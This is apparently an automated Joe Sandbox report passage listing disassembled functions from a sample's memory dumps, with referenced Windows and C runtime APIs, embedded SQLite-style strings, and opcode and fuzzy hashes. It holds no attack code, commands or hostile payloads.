delayed %dms for lock/sharing conflict at line %d, xrefs: 00007FFDFAB80722

Memory Dump Source

Source File: 00000001.00000002.2069057077.00007FFDFAB71000.00000020.00000001.01000000.00000017.sdmp, Offset: 00007FFDFAB70000, based on PE: true

Associated: 00000001.00000002.2069023444.00007FFDFAB70000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069226530.00007FFDFACD4000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069264473.00007FFDFACD9000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfab70000_dens.jbxd

Similarity

API ID: File$AttributesDeletememset
String ID: delayed %dms for lock/sharing conflict at line %d$winDelete
API String ID: 3962298889-1405699761
Opcode ID: 5896222049c449f5e65fa2e9f0d31338034f82ff5c2c51181ea19f40c999cb64
Instruction ID: a77fa14e2958b7af614c3b96515f2c938b147473792c9355c1100f0e5346e9fe
Opcode Fuzzy Hash: 5896222049c449f5e65fa2e9f0d31338034f82ff5c2c51181ea19f40c999cb64
Instruction Fuzzy Hash: 4C416029B0C60382F75C9B2AA870D7C73A0AF85BD1F8445B5D97D4A6E9DF3CF4468600

Function 00007FFDFAB7EBD0 Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 249COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FFDFAB7EC5C

Strings

%s-shm, xrefs: 00007FFDFAB7EC73
winOpenShm, xrefs: 00007FFDFAB7EE6A
readonly_shm, xrefs: 00007FFDFAB7EDFA

Memory Dump Source

Source File: 00000001.00000002.2069057077.00007FFDFAB71000.00000020.00000001.01000000.00000017.sdmp, Offset: 00007FFDFAB70000, based on PE: true

Associated: 00000001.00000002.2069023444.00007FFDFAB70000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069226530.00007FFDFACD4000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069264473.00007FFDFACD9000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfab70000_dens.jbxd

Similarity

API ID: memset
String ID: %s-shm$readonly_shm$winOpenShm
API String ID: 2221118986-2815843928
Opcode ID: b1f6e6c9280d3df84c61f73b632caf123fa54ca5261b8974bfa843b242bbbff8
Instruction ID: c5a431cf883206487f9fdd962cdb0e595b2185e4148bc7cba4757ba3e9f18c25
Opcode Fuzzy Hash: b1f6e6c9280d3df84c61f73b632caf123fa54ca5261b8974bfa843b242bbbff8
Instruction Fuzzy Hash: 33C13A29B09A4282FB6C9B62B870A7D33A4FF44B54F8445B5DA7E467E8DF7CE4548300

Function 00007FFDFAB8A080 Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 174COMMON

Download Yara Rule

Strings

%s at line %d of [%.10s], xrefs: 00007FFDFAB8A0C2, 00007FFDFAB8A218
8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355, xrefs: 00007FFDFAB8A0A2, 00007FFDFAB8A1F8
database corruption, xrefs: 00007FFDFAB8A0BB, 00007FFDFAB8A211

Memory Dump Source

Source File: 00000001.00000002.2069057077.00007FFDFAB71000.00000020.00000001.01000000.00000017.sdmp, Offset: 00007FFDFAB70000, based on PE: true

Associated: 00000001.00000002.2069023444.00007FFDFAB70000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069226530.00007FFDFACD4000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069264473.00007FFDFACD9000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfab70000_dens.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355$database corruption
API String ID: 0-3727861699
Opcode ID: 27111365c1df80b656e17f2dca393731bfbb6c87a57d4ce7fc26ae2753238598
Instruction ID: 3eafa96a732ac0be9897aa329a38e4cef172b3c83e4fedfef3450ef12e832212
Opcode Fuzzy Hash: 27111365c1df80b656e17f2dca393731bfbb6c87a57d4ce7fc26ae2753238598
Instruction Fuzzy Hash: 61717121B1A64281EB689F5AE460B7D63A1FB44B84F958079CA6D4B7DDDF3DE8438300

Function 00007FF62C10F98C Relevance: 6.2, APIs: 4, Instructions: 162COMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF62C10FA7C
_get_daylight.LIBCMT ref: 00007FF62C10FA8D
_get_daylight.LIBCMT ref: 00007FF62C10FA9E
_isindst.LIBCMT ref: 00007FF62C10FB69

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: _get_daylight$_isindst
String ID:
API String ID: 4170891091-0
Opcode ID: 873197461a12b50781dd6dd2a54ab0b7f590f407db75148e336b6c99fa373a01
Instruction ID: 2216d76958980a5a3c8be71cf2823cfd0165be765e6261f22fe8a7438c1f4697
Opcode Fuzzy Hash: 873197461a12b50781dd6dd2a54ab0b7f590f407db75148e336b6c99fa373a01
Instruction Fuzzy Hash: B1510372F042118AEF18CF689D6B6BC27A1BF54378F140235ED1E92AE5DF3DA412CA01

Function 00007FF62C10577C Relevance: 6.1, APIs: 4, Instructions: 119pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00007FF62C1057AF
GetFileInformationByHandle.KERNEL32 ref: 00007FF62C105811
GetLastError.KERNEL32 ref: 00007FF62C1058A2
PeekNamedPipe.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF62C1056B4), ref: 00007FF62C1058EE

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: File$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 2780335769-0
Opcode ID: f2931e55a17fed7c801103cab28c1f7fd047901bf7fa79ea6702d423310ad099
Instruction ID: a4e455abd21e01ec38651cc347f7c3c61b6c5436560bd97bca91e9b64e193112
Opcode Fuzzy Hash: f2931e55a17fed7c801103cab28c1f7fd047901bf7fa79ea6702d423310ad099
Instruction Fuzzy Hash: 6F519D22E086418AFF10DF75D85A3BD37B5BB48BA8F148435DE0D87688DF38D4618306

Function 00007FF62C105628 Relevance: 6.1, APIs: 4, Instructions: 90fileCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF62C105655
CreateFileW.KERNEL32 ref: 00007FF62C105694
CloseHandle.KERNEL32 ref: 00007FF62C1056C9

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: CloseCreateFileHandle_invalid_parameter_noinfo
String ID:
API String ID: 1279662727-0
Opcode ID: 8f3d5377b4ca72f71b0fe910297a4b2920b1cd85568e136600ee028e7f718979
Instruction ID: da74af7f78e454ec7ea6ea347ac7f67e776f14112e1a4fa69cf558a7a62c2ca1
Opcode Fuzzy Hash: 8f3d5377b4ca72f71b0fe910297a4b2920b1cd85568e136600ee028e7f718979
Instruction Fuzzy Hash: 7741A162E1878283EB10DB20995A3697360FBA53B4F109335EA9C83AD1DF7CA4F18705

Function 00007FFDFAB75B75 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 23COMMON

Download Yara Rule

APIs

realloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDFAB75B88
_msize.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDFAB75B99

Strings

failed memory resize %u to %u bytes, xrefs: 00007FFDFAB75BA2

Memory Dump Source

Source File: 00000001.00000002.2069057077.00007FFDFAB71000.00000020.00000001.01000000.00000017.sdmp, Offset: 00007FFDFAB70000, based on PE: true

Associated: 00000001.00000002.2069023444.00007FFDFAB70000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069226530.00007FFDFACD4000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069264473.00007FFDFACD9000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfab70000_dens.jbxd

Similarity

API ID: _msizerealloc
String ID: failed memory resize %u to %u bytes
API String ID: 2713192863-2134078882
Opcode ID: 75b8f79c93e6a993e734f7f3b378ef07c00aa82b64f7ca0c6d8950d914df2de2
Instruction ID: e7400748d3cc57c085494a7bbb99b6b0ea2f85891441300a1f75f940c81473c9
Opcode Fuzzy Hash: 75b8f79c93e6a993e734f7f3b378ef07c00aa82b64f7ca0c6d8950d914df2de2
Instruction Fuzzy Hash: 5FE09219B0D78181EB584757B96097D5661AF4DFC0F4491B0EE6E0BB9DEF6CE4428300

Function 00007FFDFAB8E800 Relevance: 4.8, APIs: 3, Instructions: 295COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2069057077.00007FFDFAB71000.00000020.00000001.01000000.00000017.sdmp, Offset: 00007FFDFAB70000, based on PE: true

Associated: 00000001.00000002.2069023444.00007FFDFAB70000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069226530.00007FFDFACD4000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069264473.00007FFDFACD9000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfab70000_dens.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 941bd56ce30bcc552698f218a43f71aa885edf37cc679c2b2f93981d159a1d52
Instruction ID: c0098aabf084ad389889c16e552d4edefe7638c455ce77d1c4c535544cf7221e
Opcode Fuzzy Hash: 941bd56ce30bcc552698f218a43f71aa885edf37cc679c2b2f93981d159a1d52
Instruction Fuzzy Hash: 39C1D822B0858286E7689B2DD460A3D3791FF85B58F948175D96E8F7D8DE3DE842C700

Function 00007FF62C0FCC3C Relevance: 4.6, APIs: 3, Instructions: 94COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF62C0FCE0C: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF62C0FCE20

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF62C0FCC60
__scrt_release_startup_lock.LIBCMT ref: 00007FF62C0FCCCE
__scrt_get_show_window_mode.LIBCMT ref: 00007FF62C0FCD21

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_release_startup_lock
String ID:
API String ID: 3251591375-0
Opcode ID: b3dd18574e8b698ea28c35ed35ed65a6730a16d6ac14c38d0a8ba428da0d66bc
Instruction ID: 8057bb0ef93e1debd6f95cbc3026028dcccac314c1d70477e347de350fcc6b8e
Opcode Fuzzy Hash: b3dd18574e8b698ea28c35ed35ed65a6730a16d6ac14c38d0a8ba428da0d66bc
Instruction Fuzzy Hash: 42318D21E0CA5749FE24AB299C273FD2681AF513A4F444034DE0EC72D7CF6EA884C25B

Function 00007FF62C109A30 Relevance: 4.5, APIs: 3, Instructions: 14COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF62C109A2C), ref: 00007FF62C109A41
TerminateProcess.KERNEL32(?,?,?,00007FF62C109A2C), ref: 00007FF62C109A4C
ExitProcess.KERNEL32 ref: 00007FF62C109A5B

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 148d460979eed4a43ebbf671c65dc2dc638c0d89c9c01e8e00358d5495882c84
Instruction ID: d8cc47cb95edc8d5b6e99814b8124a7b7ae47c6e12d0ecac96a07b88ae943250
Opcode Fuzzy Hash: 148d460979eed4a43ebbf671c65dc2dc638c0d89c9c01e8e00358d5495882c84
Instruction Fuzzy Hash: 04D09250B1874682EF183B786CAF17922556FADB31F152438CC1B86397EE6CA8698342

Function 00007FF62C10013C Relevance: 3.2, APIs: 2, Instructions: 177COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF62C100180
_invalid_parameter_noinfo.LIBCMT ref: 00007FF62C100277

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: e80cfa20b6c7ebf2f27a6dba6ddb06cb01cda21135ba71ef9e2cf3b7629ca058
Instruction ID: 20db38ed7809fbb960a0fd1a024f07b8b62ca9bb570ee0efe15fd1e5edc95f29
Opcode Fuzzy Hash: e80cfa20b6c7ebf2f27a6dba6ddb06cb01cda21135ba71ef9e2cf3b7629ca058
Instruction Fuzzy Hash: 0E515921B0964186FF299E259C0A67E6681BF45BB4F188734ED7D877C6CF3CE4218782

Function 00007FF62C10C134 Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(?,?,?,?,?,00007FF62C10C2CD), ref: 00007FF62C10C180
GetLastError.KERNEL32(?,?,?,?,?,00007FF62C10C2CD), ref: 00007FF62C10C18A

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 7d52f85de62641260209e8dbb28c5e1251e01e8bf24b4306ce9dcd9badf2c9c6
Instruction ID: 3f47973824e9fa48d61ac8f515102cac9d0dc2d79e34c76bb2c5c3c73f37b923
Opcode Fuzzy Hash: 7d52f85de62641260209e8dbb28c5e1251e01e8bf24b4306ce9dcd9badf2c9c6
Instruction Fuzzy Hash: AD11C471618A8181DE208B29AC59169A361BB46FF4F544331EEBD877D9CE7CD0258742

Function 00007FF62C105924 Relevance: 3.0, APIs: 2, Instructions: 40timeCOMMON

Download Yara Rule

APIs

FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF62C105839), ref: 00007FF62C105957
SystemTimeToTzSpecificLocalTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF62C105839), ref: 00007FF62C10596D

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: Time$System$FileLocalSpecific
String ID:
API String ID: 1707611234-0
Opcode ID: 497c6f3b45805196ef8f930e068bad9451f3f50de380bc241881b145e929bf5b
Instruction ID: 27d3a395622cdf5dc4dcc8da4b465a5d3137a53a82e347f72bf959d8797b5173
Opcode Fuzzy Hash: 497c6f3b45805196ef8f930e068bad9451f3f50de380bc241881b145e929bf5b
Instruction Fuzzy Hash: 9111A07260CB5282EF648B18A81653AB7A0FB85B71F500236FA9DC19D8EF6CD064DF01

Function 00007FFDFAB75B15 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 17COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDFAB75B20

Strings

failed to allocate %u bytes of memory, xrefs: 00007FFDFAB75B31

Memory Dump Source

Source File: 00000001.00000002.2069057077.00007FFDFAB71000.00000020.00000001.01000000.00000017.sdmp, Offset: 00007FFDFAB70000, based on PE: true

Associated: 00000001.00000002.2069023444.00007FFDFAB70000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069226530.00007FFDFACD4000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069264473.00007FFDFACD9000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfab70000_dens.jbxd

Similarity

API ID: malloc
String ID: failed to allocate %u bytes of memory
API String ID: 2803490479-1168259600
Opcode ID: 74c318c544fdcdd5763c1011f60c09db72ac95fdcd372deb902ef073de02fd8d
Instruction ID: 422e6517f7a3fbebe2d0adfdeacef001c695d9ea08c0626b0031401eb44d83f6
Opcode Fuzzy Hash: 74c318c544fdcdd5763c1011f60c09db72ac95fdcd372deb902ef073de02fd8d
Instruction Fuzzy Hash: BBD05E49B2D60681EF6D5B5AB6B0AB84261AF4DBC0FC45174DE2E0F7CDEE5CE0418700

Function 00007FFDFAB8BB90 Relevance: 2.6, APIs: 2, Instructions: 104COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,?,?,00000000,?,00007FFDFAB8EDBF,?,?,?,?,?,?,?,?,?,?), ref: 00007FFDFAB8BBF5
memset.VCRUNTIME140(?,?,?,00000000,?,00007FFDFAB8EDBF,?,?,?,?,?,?,?,?,?,?), ref: 00007FFDFAB8BC25

Memory Dump Source

Source File: 00000001.00000002.2069057077.00007FFDFAB71000.00000020.00000001.01000000.00000017.sdmp, Offset: 00007FFDFAB70000, based on PE: true

Associated: 00000001.00000002.2069023444.00007FFDFAB70000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069226530.00007FFDFACD4000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069264473.00007FFDFACD9000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfab70000_dens.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 2df5faf9bf7cd10c1a41e245987d1ce7abf9915188a6e8557421e9455e854664
Instruction ID: d847c23d5d1d8f18a6c25dd6fec3f26af03a89b2cfd34cb4b4c33be53d8777a0
Opcode Fuzzy Hash: 2df5faf9bf7cd10c1a41e245987d1ce7abf9915188a6e8557421e9455e854664
Instruction Fuzzy Hash: A1419A65718B4686EF68CF69E4A163D7391FB88B80F448039DB5E87799DE3CE4468700

Function 00007FF62C10AB58 Relevance: 2.6, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,?,00007FF62C10A9D5,?,?,00000000,00007FF62C10AA8A), ref: 00007FF62C10ABC6
GetLastError.KERNEL32(?,?,?,00007FF62C10A9D5,?,?,00000000,00007FF62C10AA8A), ref: 00007FF62C10ABD0

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: ae1e15d82824e1a5fac1c7302ca2ff5641fe0b0e43db7728cd9339717749910c
Instruction ID: e44467442982660bee0f7ba99827ccffcc611e9aefa720807015ca38e68369dc
Opcode Fuzzy Hash: ae1e15d82824e1a5fac1c7302ca2ff5641fe0b0e43db7728cd9339717749910c
Instruction Fuzzy Hash: DE21C311B5C68241FEA497659C9A37D2682AF85BB4F084239DE2EC77D6CEACE4614302

Function 00007FF62C10BEAC Relevance: 1.6, APIs: 1, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF62C10BED4

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 5a303e376ae32d58fd1e52f1ac99a64fdc1cf63549abbe0bdd4da132c2ec767e
Instruction ID: a4ed867bf87904d30e02c5eb1282ea5cbfb8a4aeaac34864db7a2b02f9854bba
Opcode Fuzzy Hash: 5a303e376ae32d58fd1e52f1ac99a64fdc1cf63549abbe0bdd4da132c2ec767e
Instruction Fuzzy Hash: 6741C23291864587EE349B29A94A27D77A0FF55BA0F140131EF8EC36D1DF6CE412CB52

Function 00007FF62C0F7F90 Relevance: 1.6, APIs: 1, Instructions: 85COMMON

Download Yara Rule

APIs

_fread_nolock.LIBCMT ref: 00007FF62C0F803A

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: _fread_nolock
String ID:
API String ID: 840049012-0
Opcode ID: 0748e9379ee1a24a6dd361f3a2547f707c71d81643cc4b02aa9d5a9a64da41ab
Instruction ID: d56928fdee3c987d9d3b57c350c916d8eab6ef25b33b240f49331e8f89baf7e8
Opcode Fuzzy Hash: 0748e9379ee1a24a6dd361f3a2547f707c71d81643cc4b02aa9d5a9a64da41ab
Instruction Fuzzy Hash: 3021E721B186514AFE909B226C053FA9741BF46BE4FD84430EE0C87786CF7EE091C30A

Function 00007FF62C10B93C Relevance: 1.6, APIs: 1, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF62C10B9C2

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

